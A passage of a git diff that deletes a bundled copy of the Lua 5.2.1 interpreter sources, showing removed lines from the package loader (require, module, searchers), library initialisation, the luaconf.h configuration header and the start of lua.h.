(!lua_istable(L, 3)) - luaL_error(L, LUA_QL("package.searchers") " must be a table"); - /* iterate over available searchers to find a loader */ - for (i = 1; ; i++) { - lua_rawgeti(L, 3, i); /* get a searcher */ - if (lua_isnil(L, -1)) { /* no more searchers? */ - lua_pop(L, 1); /* remove nil */ - luaL_pushresult(&msg); /* create error message */ - luaL_error(L, "module " LUA_QS " not found:%s", - name, lua_tostring(L, -1)); - } - lua_pushstring(L, name); - lua_call(L, 1, 2); /* call it */ - if (lua_isfunction(L, -2)) /* did it find a loader? */ - return; /* module loader found */ - else if (lua_isstring(L, -2)) { /* searcher returned error message? */ - lua_pop(L, 1); /* remove extra return */ - luaL_addvalue(&msg); /* concatenate error message */ - } - else - lua_pop(L, 2); /* remove both returns */ - } -} - - -static int ll_require (lua_State *L) { - const char *name = luaL_checkstring(L, 1); - lua_settop(L, 1); /* _LOADED table will be at index 2 */ - lua_getfield(L, LUA_REGISTRYINDEX, "_LOADED"); - lua_getfield(L, 2, name); /* _LOADED[name] */ - if (lua_toboolean(L, -1)) /* is it there? */ - return 1; /* package is already loaded */ - /* else must load package */ - lua_pop(L, 1); /* remove 'getfield' result */ - findloader(L, name); - lua_pushstring(L, name); /* pass name as argument to module loader */ - lua_insert(L, -2); /* name is 1st argument (before search data) */ - lua_call(L, 2, 1); /* run loader to load module */ - if (!lua_isnil(L, -1)) /* non-nil return? */ - lua_setfield(L, 2, name); /* _LOADED[name] = returned value */ - lua_getfield(L, 2, name); - if (lua_isnil(L, -1)) { /* module did not set a value? */ - lua_pushboolean(L, 1); /* use true as result */ - lua_pushvalue(L, -1); /* extra copy to be returned */ - lua_setfield(L, 2, name); /* _LOADED[name] = true */ - } - return 1; -} - -/* }====================================================== */ - - - -/* -** {====================================================== -** 'module' function -** ======================================================= -*/ -#if defined(LUA_COMPAT_MODULE) - -/* -** changes the environment variable of calling function -*/ -static void set_env (lua_State *L) { - lua_Debug ar; - if (lua_getstack(L, 1, &ar) == 0 || - lua_getinfo(L, "f", &ar) == 0 || /* get calling function */ - lua_iscfunction(L, -1)) - luaL_error(L, LUA_QL("module") " not called from a Lua function"); - lua_pushvalue(L, -2); /* copy new environment table to top */ - lua_setupvalue(L, -2, 1); - lua_pop(L, 1); /* remove function */ -} - - -static void dooptions (lua_State *L, int n) { - int i; - for (i = 2; i <= n; i++) { - if (lua_isfunction(L, i)) { /* avoid 'calling' extra info. */ - lua_pushvalue(L, i); /* get option (a function) */ - lua_pushvalue(L, -2); /* module */ - lua_call(L, 1, 0); - } - } -} - - -static void modinit (lua_State *L, const char *modname) { - const char *dot; - lua_pushvalue(L, -1); - lua_setfield(L, -2, "_M"); /* module._M = module */ - lua_pushstring(L, modname); - lua_setfield(L, -2, "_NAME"); - dot = strrchr(modname, '.'); /* look for last dot in module name */ - if (dot == NULL) dot = modname; - else dot++; - /* set _PACKAGE as package name (full module name minus last part) */ - lua_pushlstring(L, modname, dot - modname); - lua_setfield(L, -2, "_PACKAGE"); -} - - -static int ll_module (lua_State *L) { - const char *modname = luaL_checkstring(L, 1); - int lastarg = lua_gettop(L); /* last parameter */ - luaL_pushmodule(L, modname, 1); /* get/create module table */ - /* check whether table already has a _NAME field */ - lua_getfield(L, -1, "_NAME"); - if (!lua_isnil(L, -1)) /* is table an initialized module? */ - lua_pop(L, 1); - else { /* no; initialize it */ - lua_pop(L, 1); - modinit(L, modname); - } - lua_pushvalue(L, -1); - set_env(L); - dooptions(L, lastarg); - return 1; -} - - -static int ll_seeall (lua_State *L) { - luaL_checktype(L, 1, LUA_TTABLE); - if (!lua_getmetatable(L, 1)) { - lua_createtable(L, 0, 1); /* create new metatable */ - lua_pushvalue(L, -1); - lua_setmetatable(L, 1); - } - lua_pushglobaltable(L); - lua_setfield(L, -2, "__index"); /* mt.__index = _G */ - return 0; -} - -#endif -/* }====================================================== */ - - - -/* auxiliary mark (for internal use) */ -#define AUXMARK "\1" - - -/* -** return registry.LUA_NOENV as a boolean -*/ -static int noenv (lua_State *L) { - int b; - lua_getfield(L, LUA_REGISTRYINDEX, "LUA_NOENV"); - b = lua_toboolean(L, -1); - lua_pop(L, 1); /* remove value */ - return b; -} - - -static void setpath (lua_State *L, const char *fieldname, const char *envname1, - const char *envname2, const char *def) { - const char *path = getenv(envname1); - if (path == NULL) /* no environment variable? */ - path = getenv(envname2); /* try alternative name */ - if (path == NULL || noenv(L)) /* no environment variable? */ - lua_pushstring(L, def); /* use default */ - else { - /* replace ";;" by ";AUXMARK;" and then AUXMARK by default path */ - path = luaL_gsub(L, path, LUA_PATH_SEP LUA_PATH_SEP, - LUA_PATH_SEP AUXMARK LUA_PATH_SEP); - luaL_gsub(L, path, AUXMARK, def); - lua_remove(L, -2); - } - setprogdir(L); - lua_setfield(L, -2, fieldname); -} - - -static const luaL_Reg pk_funcs[] = { - {"loadlib", ll_loadlib}, - {"searchpath", ll_searchpath}, -#if defined(LUA_COMPAT_MODULE) - {"seeall", ll_seeall}, -#endif - {NULL, NULL} -}; - - -static const luaL_Reg ll_funcs[] = { -#if defined(LUA_COMPAT_MODULE) - {"module", ll_module}, -#endif - {"require", ll_require}, - {NULL, NULL} -}; - - -static void createsearcherstable (lua_State *L) { - static const lua_CFunction searchers[] = - {searcher_preload, searcher_Lua, searcher_C, searcher_Croot, NULL}; - int i; - /* create 'searchers' table */ - lua_createtable(L, sizeof(searchers)/sizeof(searchers[0]) - 1, 0); - /* fill it with pre-defined searchers */ - for (i=0; searchers[i] != NULL; i++) { - lua_pushvalue(L, -2); /* set 'package' as upvalue for all searchers */ - lua_pushcclosure(L, searchers[i], 1); - lua_rawseti(L, -2, i+1); - } -} - - -LUAMOD_API int luaopen_package (lua_State *L) { - /* create table CLIBS to keep track of loaded C libraries */ - luaL_getsubtable(L, LUA_REGISTRYINDEX, CLIBS); - lua_createtable(L, 0, 1); /* metatable for CLIBS */ - lua_pushcfunction(L, gctm); - lua_setfield(L, -2, "__gc"); /* set finalizer for CLIBS table */ - lua_setmetatable(L, -2); - /* create `package' table */ - luaL_newlib(L, pk_funcs); - createsearcherstable(L); -#if defined(LUA_COMPAT_LOADERS) - lua_pushvalue(L, -1); /* make a copy of 'searchers' table */ - lua_setfield(L, -3, "loaders"); /* put it in field `loaders' */ -#endif - lua_setfield(L, -2, "searchers"); /* put it in field 'searchers' */ - /* set field 'path' */ - setpath(L, "path", LUA_PATHVERSION, LUA_PATH, LUA_PATH_DEFAULT); - /* set field 'cpath' */ - setpath(L, "cpath", LUA_CPATHVERSION, LUA_CPATH, LUA_CPATH_DEFAULT); - /* store config information */ - lua_pushliteral(L, LUA_DIRSEP "\n" LUA_PATH_SEP "\n" LUA_PATH_MARK "\n" - LUA_EXEC_DIR "\n" LUA_IGMARK "\n"); - lua_setfield(L, -2, "config"); - /* set field `loaded' */ - luaL_getsubtable(L, LUA_REGISTRYINDEX, "_LOADED"); - lua_setfield(L, -2, "loaded"); - /* set field `preload' */ - luaL_getsubtable(L, LUA_REGISTRYINDEX, "_PRELOAD"); - lua_setfield(L, -2, "preload"); - lua_pushglobaltable(L); - lua_pushvalue(L, -2); /* set 'package' as upvalue for next lib */ - luaL_setfuncs(L, ll_funcs, 1); /* open lib into global table */ - lua_pop(L, 1); /* pop global table */ - return 1; /* return 'package' table */ -} - -/* -** $Id: linit.c,v 1.32 2011/04/08 19:17:36 roberto Exp $ -** Initialization of libraries for lua.c and other clients -** See Copyright Notice in lua.h -*/ - - -/* -** If you embed Lua in your program and need to open the standard -** libraries, call luaL_openlibs in your program. If you need a -** different set of libraries, copy this file to your project and edit -** it to suit your needs. -*/ - - -#define linit_c -#define LUA_LIB - - - - -/* -** these libs are loaded by lua.c and are readily available to any Lua -** program -*/ -static const luaL_Reg loadedlibs[] = { - {"_G", luaopen_base}, - {LUA_LOADLIBNAME, luaopen_package}, - {LUA_COLIBNAME, luaopen_coroutine}, - {LUA_TABLIBNAME, luaopen_table}, - {LUA_IOLIBNAME, luaopen_io}, - {LUA_OSLIBNAME, luaopen_os}, - {LUA_STRLIBNAME, luaopen_string}, - {LUA_BITLIBNAME, luaopen_bit32}, - {LUA_MATHLIBNAME, luaopen_math}, - {LUA_DBLIBNAME, luaopen_debug}, - {NULL, NULL} -}; - - -/* -** these libs are preloaded and must be required before used -*/ -static const luaL_Reg preloadedlibs[] = { - {NULL, NULL} -}; - - -LUALIB_API void luaL_openlibs (lua_State *L) { - const luaL_Reg *lib; - /* call open functions from 'loadedlibs' and set results to global table */ - for (lib = loadedlibs; lib->func; lib++) { - luaL_requiref(L, lib->name, lib->func, 1); - lua_pop(L, 1); /* remove lib */ - } - /* add open functions from 'preloadedlibs' into 'package.preload' table */ - luaL_getsubtable(L, LUA_REGISTRYINDEX, "_PRELOAD"); - for (lib = preloadedlibs; lib->func; lib++) { - lua_pushcfunction(L, lib->func); - lua_setfield(L, -2, lib->name); - } - lua_pop(L, 1); /* remove _PRELOAD table */ -} - diff --git a/build/lua_5.2.1.h b/build/lua_5.2.1.h deleted file mode 100644 index c51afd71..00000000 --- a/build/lua_5.2.1.h +++ /dev/null @@ -1,1251 +0,0 @@ -/* -** $Id: luaconf.h,v 1.172 2012/05/11 14:14:42 roberto Exp $ -** Configuration file for Lua -** See Copyright Notice in lua.h -*/ - - -#ifndef lconfig_h -#define lconfig_h - -#define _XOPEN_SOURCE 600 // Makes it compile under linux - -#include -#include - -/* -** ================================================================== -** Search for "@@" to find all configurable definitions. -** =================================================================== -*/ - -#define LUA_COMPAT_ALL - -/* -@@ LUA_ANSI controls the use of non-ansi features. -** CHANGE it (define it) if you want Lua to avoid the use of any -** non-ansi feature or library. -*/ -#if !defined(LUA_ANSI) && defined(__STRICT_ANSI__) -#define LUA_ANSI -#endif - - -#if !defined(LUA_ANSI) && defined(_WIN32) && !defined(_WIN32_WCE) -#define LUA_WIN /* enable goodies for regular Windows platforms */ -#endif - -#if defined(LUA_WIN) -#define LUA_DL_DLL -#define LUA_USE_AFORMAT /* assume 'printf' handles 'aA' specifiers */ -#endif - -#if defined(LUA_USE_LINUX) -#define LUA_USE_POSIX -#define LUA_USE_DLOPEN /* needs an extra library: -ldl */ -#define LUA_USE_READLINE /* needs some extra libraries */ -#define LUA_USE_STRTODHEX /* assume 'strtod' handles hexa formats */ -#define LUA_USE_AFORMAT /* assume 'printf' handles 'aA' specifiers */ -#define LUA_USE_LONGLONG /* assume support for long long */ -#endif - -#if defined(LUA_USE_MACOSX) -#define LUA_USE_POSIX -#define LUA_USE_DLOPEN /* does not need -ldl */ -#define LUA_USE_READLINE /* needs an extra library: -lreadline */ -#define LUA_USE_STRTODHEX /* assume 'strtod' handles hexa formats */ -#define LUA_USE_AFORMAT /* assume 'printf' handles 'aA' specifiers */ -#define LUA_USE_LONGLONG /* assume support for long long */ -#endif - - -#if defined(__posix) || defined(__linux) || \ - defined(__unix) || defined(__APPLE__) -#define LUA_USE_POSIX -#endif - -/* -@@ LUA_USE_POSIX includes all functionality listed as X/Open System -@* Interfaces Extension (XSI). -** CHANGE it (define it) if your system is XSI compatible. -*/ -#if defined(LUA_USE_POSIX) -#define LUA_USE_MKSTEMP -#define LUA_USE_ISATTY -#define LUA_USE_POPEN -#define LUA_USE_ULONGJMP -#define LUA_USE_GMTIME_R -#endif - - - -/* -@@ LUA_PATH_DEFAULT is the default path that Lua uses to look for -@* Lua libraries. -@@ LUA_CPATH_DEFAULT is the default path that Lua uses to look for -@* C libraries. -** CHANGE them if your machine has a non-conventional directory -** hierarchy or if you want to install your libraries in -** non-conventional directories. -*/ -#if defined(_WIN32) /* { */ -/* -** In Windows, any exclamation mark ('!') in the path is replaced by the -** path of the directory of the executable file of the current process. -*/ -#define LUA_LDIR "!\\lua\\" -#define LUA_CDIR "!\\" -#define LUA_PATH_DEFAULT \ - LUA_LDIR"?.lua;" LUA_LDIR"?\\init.lua;" \ - LUA_CDIR"?.lua;" LUA_CDIR"?\\init.lua;" ".\\?.lua" -#define LUA_CPATH_DEFAULT \ - LUA_CDIR"?.dll;" LUA_CDIR"loadall.dll;" ".\\?.dll" - -#else /* }{ */ - -#define LUA_VDIR LUA_VERSION_MAJOR "." LUA_VERSION_MINOR "/" -#define LUA_ROOT "/usr/local/" -#define LUA_LDIR LUA_ROOT "share/lua/" LUA_VDIR -#define LUA_CDIR LUA_ROOT "lib/lua/" LUA_VDIR -#define LUA_PATH_DEFAULT \ - LUA_LDIR"?.lua;" LUA_LDIR"?/init.lua;" \ - LUA_CDIR"?.lua;" LUA_CDIR"?/init.lua;" "./?.lua" -#define LUA_CPATH_DEFAULT \ - LUA_CDIR"?.so;" LUA_CDIR"loadall.so;" "./?.so" -#endif /* } */ - - -/* -@@ LUA_DIRSEP is the directory separator (for submodules). -** CHANGE it if your machine does not use "/" as the directory separator -** and is not Windows. (On Windows Lua automatically uses "\".) -*/ -#if defined(_WIN32) -#define LUA_DIRSEP "\\" -#else -#define LUA_DIRSEP "/" -#endif - - -/* -@@ LUA_ENV is the name of the variable that holds the current -@@ environment, used to access global names. -** CHANGE it if you do not like this name. -*/ -#define LUA_ENV "_ENV" - - -/* -@@ LUA_API is a mark for all core API functions. -@@ LUALIB_API is a mark for all auxiliary library functions. -@@ LUAMOD_API is a mark for all standard library opening functions. -** CHANGE them if you need to define those functions in some special way. -** For instance, if you want to create one Windows DLL with the core and -** the libraries, you may want to use the following definition (define -** LUA_BUILD_AS_DLL to get it). -*/ -#if defined(LUA_BUILD_AS_DLL) /* { */ - -#if defined(LUA_CORE) || defined(LUA_LIB) /* { */ -#define LUA_API __declspec(dllexport) -#else /* }{ */ -#define LUA_API __declspec(dllimport) -#endif /* } */ - -#else /* }{ */ - -#define LUA_API extern - -#endif /* } */ - - -/* more often than not the libs go together with the core */ -#define LUALIB_API LUA_API -#define LUAMOD_API LUALIB_API - - -/* -@@ LUAI_FUNC is a mark for all extern functions that are not to be -@* exported to outside modules. -@@ LUAI_DDEF and LUAI_DDEC are marks for all extern (const) variables -@* that are not to be exported to outside modules (LUAI_DDEF for -@* definitions and LUAI_DDEC for declarations). -** CHANGE them if you need to mark them in some special way. Elf/gcc -** (versions 3.2 and later) mark them as "hidden" to optimize access -** when Lua is compiled as a shared library. Not all elf targets support -** this attribute. Unfortunately, gcc does not offer a way to check -** whether the target offers that support, and those without support -** give a warning about it. To avoid these warnings, change to the -** default definition. -*/ -#if defined(__GNUC__) && ((__GNUC__*100 + __GNUC_MINOR__) >= 302) && \ - defined(__ELF__) /* { */ -#define LUAI_FUNC __attribute__((visibility("hidden"))) extern -#define LUAI_DDEC LUAI_FUNC -#define LUAI_DDEF /* empty */ - -#else /* }{ */ -#define LUAI_FUNC extern -#define LUAI_DDEC extern -#define LUAI_DDEF /* empty */ -#endif /* } */ - - - -/* -@@ LUA_QL describes how error messages quote program elements. -** CHANGE it if you want a different appearance. -*/ -#define LUA_QL(x) "'" x "'" -#define LUA_QS LUA_QL("%s") - - -/* -@@ LUA_IDSIZE gives the maximum size for the description of the source -@* of a function in debug information. -** CHANGE it if you want a different size. -*/ -#define LUA_IDSIZE 60 - - -/* -@@ luai_writestring/luai_writeline define how 'print' prints its results. -** They are only used in libraries and the stand-alone program. (The #if -** avoids including 'stdio.h' everywhere.) -*/ -#if defined(LUA_LIB) || defined(lua_c) -#include -#define luai_writestring(s,l) fwrite((s), sizeof(char), (l), stdout) -#define luai_writeline() (luai_writestring("\n", 1), fflush(stdout)) -#endif - -/* -@@ luai_writestringerror defines how to print error messages. -** (A format string with one argument is enough for Lua...) -*/ -#define luai_writestringerror(s,p) \ - (fprintf(stderr, (s), (p)), fflush(stderr)) - - -/* -@@ LUAI_MAXSHORTLEN is the maximum length for short strings, that is, -** strings that are internalized. (Cannot be smaller than reserved words -** or tags for metamethods, as these strings must be internalized; -** #("function") = 8, #("__newindex") = 10.) -*/ -#define LUAI_MAXSHORTLEN 40 - - - -/* -** {================================================================== -** Compatibility with previous versions -** =================================================================== -*/ - -/* -@@ LUA_COMPAT_ALL controls all compatibility options. -** You can define it to get all options, or change specific options -** to fit your specific needs. -*/ -#if defined(LUA_COMPAT_ALL) /* { */ - -/* -@@ LUA_COMPAT_UNPACK controls the presence of global 'unpack'. -** You can replace it with 'table.unpack'. -*/ -#define LUA_COMPAT_UNPACK - -/* -@@ LUA_COMPAT_LOADERS controls the presence of table 'package.loaders'. -** You can replace it with 'package.searchers'. -*/ -#define LUA_COMPAT_LOADERS - -/* -@@ macro 'lua_cpcall' emulates deprecated function lua_cpcall. -** You can call your C function directly (with light C functions). -*/ -#define lua_cpcall(L,f,u) \ - (lua_pushcfunction(L, (f)), \ - lua_pushlightuserdata(L,(u)), \ - lua_pcall(L,1,0,0)) - - -/* -@@ LUA_COMPAT_LOG10 defines the function 'log10' in the math library. -** You can rewrite 'log10(x)' as 'log(x, 10)'. -*/ -#define LUA_COMPAT_LOG10 - -/* -@@ LUA_COMPAT_LOADSTRING defines the function 'loadstring' in the base -** library. You can rewrite 'loadstring(s)' as 'load(s)'. -*/ -#define LUA_COMPAT_LOADSTRING - -/* -@@ LUA_COMPAT_MAXN defines the function 'maxn' in the table library. -*/ -#define LUA_COMPAT_MAXN - -/* -@@ The following macros supply trivial compatibility for some -** changes in the API. The macros themselves document how to -** change your code to avoid using them. -*/ -#define lua_strlen(L,i) lua_rawlen(L, (i)) - -#define lua_objlen(L,i) lua_rawlen(L, (i)) - -#define lua_equal(L,idx1,idx2) lua_compare(L,(idx1),(idx2),LUA_OPEQ) -#define lua_lessthan(L,idx1,idx2) lua_compare(L,(idx1),(idx2),LUA_OPLT) - -/* -@@ LUA_COMPAT_MODULE controls compatibility with previous -** module functions 'module' (Lua) and 'luaL_register' (C). -*/ -#define LUA_COMPAT_MODULE - -#endif /* } */ - -/* }================================================================== */ - - - -/* -@@ LUAI_BITSINT defines the number of bits in an int. -** CHANGE here if Lua cannot automatically detect the number of bits of -** your machine. Probably you do not need to change this. -*/ -/* avoid overflows in comparison */ -#if INT_MAX-20 < 32760 /* { */ -#define LUAI_BITSINT 16 -#elif INT_MAX > 2147483640L /* }{ */ -/* int has at least 32 bits */ -#define LUAI_BITSINT 32 -#else /* }{ */ -#error "you must define LUA_BITSINT with number of bits in an integer" -#endif /* } */ - - -/* -@@ LUA_INT32 is an signed integer with exactly 32 bits. -@@ LUAI_UMEM is an unsigned integer big enough to count the total -@* memory used by Lua. -@@ LUAI_MEM is a signed integer big enough to count the total memory -@* used by Lua. -** CHANGE here if for some weird reason the default definitions are not -** good enough for your machine. Probably you do not need to change -** this. -*/ -#if LUAI_BITSINT >= 32 /* { */ -#define LUA_INT32 int -#define LUAI_UMEM size_t -#define LUAI_MEM ptrdiff_t -#else /* }{ */ -/* 16-bit ints */ -#define LUA_INT32 long -#define LUAI_UMEM unsigned long -#define LUAI_MEM long -#endif /* } */ - - -/* -@@ LUAI_MAXSTACK limits the size of the Lua stack. -** CHANGE it if you need a different limit. This limit is arbitrary; -** its only purpose is to stop Lua to consume unlimited stack -** space (and to reserve some numbers for pseudo-indices). -*/ -#if LUAI_BITSINT >= 32 -#define LUAI_MAXSTACK 1000000 -#else -#define LUAI_MAXSTACK 15000 -#endif - -/* reserve some space for error handling */ -#define LUAI_FIRSTPSEUDOIDX (-LUAI_MAXSTACK - 1000) - - - - -/* -@@ LUAL_BUFFERSIZE is the buffer size used by the lauxlib buffer system. -** CHANGE it if it uses too much C-stack space. -*/ -#define LUAL_BUFFERSIZE BUFSIZ - - - - -/* -** {================================================================== -@@ LUA_NUMBER is the type of numbers in Lua. -** CHANGE the following definitions only if you want to build Lua -** with a number type different from double. You may also need to -** change lua_number2int & lua_number2integer. -** =================================================================== -*/ - -#define LUA_NUMBER_DOUBLE -#define LUA_NUMBER double - -/* -@@ LUAI_UACNUMBER is the result of an 'usual argument conversion' -@* over a number. -*/ -#define LUAI_UACNUMBER double - - -/* -@@ LUA_NUMBER_SCAN is the format for reading numbers. -@@ LUA_NUMBER_FMT is the format for writing numbers. -@@ lua_number2str converts a number to a string. -@@ LUAI_MAXNUMBER2STR is maximum size of previous conversion. -*/ -#define LUA_NUMBER_SCAN "%lf" -#define LUA_NUMBER_FMT "%.14g" -#define lua_number2str(s,n) sprintf((s), LUA_NUMBER_FMT, (n)) -#define LUAI_MAXNUMBER2STR 32 /* 16 digits, sign, point, and \0 */ - - -/* -@@ lua_str2number converts a decimal numeric string to a number. -@@ lua_strx2number converts an hexadecimal numeric string to a number. -** In C99, 'strtod' do both conversions. C89, however, has no function -** to convert floating hexadecimal strings to numbers. For these -** systems, you can leave 'lua_strx2number' undefined and Lua will -** provide its own implementation. -*/ -#define lua_str2number(s,p) strtod((s), (p)) - -#if defined(LUA_USE_STRTODHEX) -#define lua_strx2number(s,p) strtod((s), (p)) -#endif - - -/* -@@ The luai_num* macros define the primitive operations over numbers. -*/ - -/* the following operations need the math library */ -#if defined(lobject_c) || defined(lvm_c) -#include -#define luai_nummod(L,a,b) ((a) - floor((a)/(b))*(b)) -#define luai_numpow(L,a,b) (pow(a,b)) -#endif - -/* these are quite standard operations */ -#if defined(LUA_CORE) -#define luai_numadd(L,a,b) ((a)+(b)) -#define luai_numsub(L,a,b) ((a)-(b)) -#define luai_nummul(L,a,b) ((a)*(b)) -#define luai_numdiv(L,a,b) ((a)/(b)) -#define luai_numunm(L,a) (-(a)) -#define luai_numeq(a,b) ((a)==(b)) -#define luai_numlt(L,a,b) ((a)<(b)) -#define luai_numle(L,a,b) ((a)<=(b)) -#define luai_numisnan(L,a) (!luai_numeq((a), (a))) -#endif - - - -/* -@@ LUA_INTEGER is the integral type used by lua_pushinteger/lua_tointeger. -** CHANGE that if ptrdiff_t is not adequate on your machine. (On most -** machines, ptrdiff_t gives a good choice between int or long.) -*/ -#define LUA_INTEGER ptrdiff_t - -/* -@@ LUA_UNSIGNED is the integral type used by lua_pushunsigned/lua_tounsigned. -** It must have at least 32 bits. -*/ -#define LUA_UNSIGNED unsigned LUA_INT32 - - - -/* -** Some tricks with doubles -*/ - -#if defined(LUA_CORE) && \ - defined(LUA_NUMBER_DOUBLE) && !defined(LUA_ANSI) /* { */ -/* -** The next definitions activate some tricks to speed up the -** conversion from doubles to integer types, mainly to LUA_UNSIGNED. -** -@@ MS_ASMTRICK uses Microsoft assembler to avoid clashes with a -** DirectX idiosyncrasy. -** -@@ LUA_IEEE754TRICK uses a trick that should work on any machine -** using IEEE754 with a 32-bit integer type. -** -@@ LUA_IEEELL extends the trick to LUA_INTEGER; should only be -** defined when LUA_INTEGER is a 32-bit integer. -** -@@ LUA_IEEEENDIAN is the endianness of doubles in your machine -** (0 for little endian, 1 for big endian); if not defined, Lua will -** check it dynamically for LUA_IEEE754TRICK (but not for LUA_NANTRICK). -** -@@ LUA_NANTRICK controls the use of a trick to pack all types into -** a single double value, using NaN values to represent non-number -** values. The trick only works on 32-bit machines (ints and pointers -** are 32-bit values) with numbers represented as IEEE 754-2008 doubles -** with conventional endianess (12345678 or 87654321), in CPUs that do -** not produce signaling NaN values (all NaNs are quiet). -*/ - -/* Microsoft compiler on a Pentium (32 bit) ? */ -#if defined(LUA_WIN) && defined(_MSC_VER) && defined(_M_IX86) /* { */ - -#define MS_ASMTRICK -#define LUA_IEEEENDIAN 0 -#define LUA_NANTRICK - - -/* pentium 32 bits? */ -#elif defined(__i386__) || defined(__i386) || defined(__X86__) /* }{ */ - -#define LUA_IEEE754TRICK -#define LUA_IEEELL -#define LUA_IEEEENDIAN 0 -#define LUA_NANTRICK - -/* pentium 64 bits? */ -#elif defined(__x86_64) /* }{ */ - -#define LUA_IEEE754TRICK -#define LUA_IEEEENDIAN 0 - -#elif defined(__POWERPC__) || defined(__ppc__) /* }{ */ - -#define LUA_IEEE754TRICK -#define LUA_IEEEENDIAN 1 - -#else /* }{ */ - -/* assume IEEE754 and a 32-bit integer type */ -#define LUA_IEEE754TRICK - -#endif /* } */ - -#endif /* } */ - -/* }================================================================== */ - - - - -/* =================================================================== */ - -/* -** Local configuration. You can use this space to add your redefinitions -** without modifying the main part of the file. -*/ - - - -#endif - -/* -** $Id: lua.h,v 1.283 2012/04/20 13:18:26 roberto Exp $ -** Lua - A Scripting Language -** Lua.org, PUC-Rio, Brazil (http://www.lua.org) -** See Copyright Notice at the end of this file -*/ - - -#ifndef lua_h -#define lua_h - -#include -#include - - - - -#define LUA_VERSION_MAJOR "5" -#define LUA_VERSION_MINOR "2" -#define LUA_VERSION_NUM 502 -#define LUA_VERSION_RELEASE "1" - -#define LUA_VERSION "Lua " LUA_VERSION_MAJOR "." LUA_VERSION_MINOR -#define LUA_RELEASE LUA_VERSION "." LUA_VERSION_RELEASE -#define LUA_COPYRIGHT LUA_RELEASE " Copyright (C) 1994-2012 Lua.org, PUC-Rio" -#define LUA_AUTHORS "R. Ierusalimschy, L. H. de Figueiredo, W. Celes" - - -/* mark for precompiled code ('Lua') */ -#define LUA_SIGNATURE "\033Lua" - -/* option for multiple returns in 'lua_pcall' and 'lua_call' */ -#define LUA_MULTRET (-1) - - -/* -** pseudo-indices -*/ -#define LUA_REGISTRYINDEX LUAI_FIRSTPSEUDOIDX -#define lua_upvalueindex(i) (LUA_REGISTRYINDEX - (i)) - - -/* thread status */ -#define LUA_OK 0 -#define LUA_YIELD 1 -#define LUA_ERRRUN 2 -#define LUA_ERRSYNTAX 3 -#define LUA_ERRMEM 4 -#define LUA_ERRGCMM 5 -#define LUA_ERRERR 6 - - -typedef struct lua_State lua_State; - -typedef int (*lua_CFunction) (lua_State *L); - - -/* -** functions that read/write blocks when loading/dumping Lua chunks -*/ -typedef const char * (*lua_Reader) (lua_State *L, void *ud, size_t *sz); - -typedef int (*lua_Writer) (lua_State *L, const void* p, size_t sz, void* ud); - - -/* -** prototype for memory-allocation functions -*/ -typedef void * (*lua_Alloc) (void *ud, void *ptr, size_t osize, size_t nsize); - - -/* -** basic types -*/ -#define LUA_TNONE (-1) - -#define LUA_TNIL 0 -#define LUA_TBOOLEAN 1 -#define LUA_TLIGHTUSERDATA 2 -#define LUA_TNUMBER 3 -#define LUA_TSTRING 4 -#define LUA_TTABLE 5 -#define LUA_TFUNCTION 6 -#define LUA_TUSERDATA 7 -#define LUA_TTHREAD 8 - -#define LUA_NUMTAGS 9 - - - -/* minimum Lua stack available to a C function */ -#define LUA_MINSTACK 20 - - -/* predefined values in the registry */ -#define LUA_RIDX_MAINTHREAD 1 -#define LUA_RIDX_GLOBALS 2 -#define LUA_RIDX_LAST LUA_RIDX_GLOBALS - - -/* type of numbers in Lua */ -typedef LUA_NUMBER lua_Number; - - -/* type for integer functions */ -typedef LUA_INTEGER lua_Integer; - -/* unsigned integer type */ -typedef LUA_UNSIGNED lua_Unsigned; - - - -/* -** generic extra include file -*/ -#if defined(LUA_USER_H) -#include LUA_USER_H -#endif - - - -/* -** state manipulation -*/ -LUA_API lua_State *(lua_newstate) (lua_Alloc f, void *ud); -LUA_API void (lua_close) (lua_State *L); -LUA_API lua_State *(lua_newthread) (lua_State *L); - -LUA_API lua_CFunction (lua_atpanic) (lua_State *L, lua_CFunction panicf); - - -LUA_API const lua_Number *(lua_version) (lua_State *L); - - -/* -** basic stack manipulation -*/ -LUA_API int (lua_absindex) (lua_State *L, int idx); -LUA_API int (lua_gettop) (lua_State *L); -LUA_API void (lua_settop) (lua_State *L, int idx); -LUA_API void (lua_pushvalue) (lua_State *L, int idx); -LUA_API void (lua_remove) (lua_State *L, int idx); -LUA_API void (lua_insert) (lua_State *L, int idx); -LUA_API void (lua_replace) (lua_State *L, int idx); -LUA_API void (lua_copy) (lua_State *L, int fromidx, int toidx); -LUA_API int (lua_checkstack) (lua_State *L, int sz); - -LUA_API void (lua_xmove) (lua_State *from, lua_State *to, int n); - - -/* -** access functions (stack -> C) -*/ - -LUA_API int (lua_isnumber) (lua_State *L, int idx); -LUA_API int (lua_isstring) (lua_State *L, int idx); -LUA_API int (lua_iscfunction) (lua_State *L, int idx); -LUA_API int (lua_isuserdata) (lua_State *L, int idx); -LUA_API int (lua_type) (lua_State *L, int idx); -LUA_API const char *(lua_typename) (lua_State *L, int tp); - -LUA_API lua_Number (lua_tonumberx) (lua_State *L, int idx, int *isnum); -LUA_API lua_Integer (lua_tointegerx) (lua_State *L, int idx, int *isnum); -LUA_API lua_Unsigned (lua_tounsignedx) (lua_State *L, int idx, int *isnum); -LUA_API int (lua_toboolean) (lua_State *L, int idx); -LUA_API const char *(lua_tolstring) (lua_State *L, int idx, size_t *len); -LUA_API size_t (lua_rawlen) (lua_State *L, int idx); -LUA_API lua_CFunction (lua_tocfunction) (lua_State *L, int idx); -LUA_API void *(lua_touserdata) (lua_State *L, int idx); -LUA_API lua_State *(lua_tothread) (lua_State *L, int idx); -LUA_API const void *(lua_topointer) (lua_State *L, int idx); - - -/* -** Comparison and arithmetic functions -*/ - -#define LUA_OPADD 0 /* ORDER TM */ -#define LUA_OPSUB 1 -#define LUA_OPMUL 2 -#define LUA_OPDIV 3 -#define LUA_OPMOD 4 -#define LUA_OPPOW 5 -#define LUA_OPUNM 6 - -LUA_API void (lua_arith) (lua_State *L, int op); - -#define LUA_OPEQ 0 -#define LUA_OPLT 1 -#define LUA_OPLE 2 - -LUA_API int (lua_rawequal) (lua_State *L, int idx1, int idx2); -LUA_API int (lua_compare) (lua_State *L, int idx1, int idx2, int op); - - -/* -** push functions (C -> stack) -*/ -LUA_API void (lua_pushnil) (lua_State *L); -LUA_API void (lua_pushnumber) (lua_State *L, lua_Number n); -LUA_API void (lua_pushinteger) (lua_State *L, lua_Integer n); -LUA_API void (lua_pushunsigned) (lua_State *L, lua_Unsigned n); -LUA_API const char *(lua_pushlstring) (lua_State *L, const char *s, size_t l); -LUA_API const char *(lua_pushstring) (lua_State *L, const char *s); -LUA_API 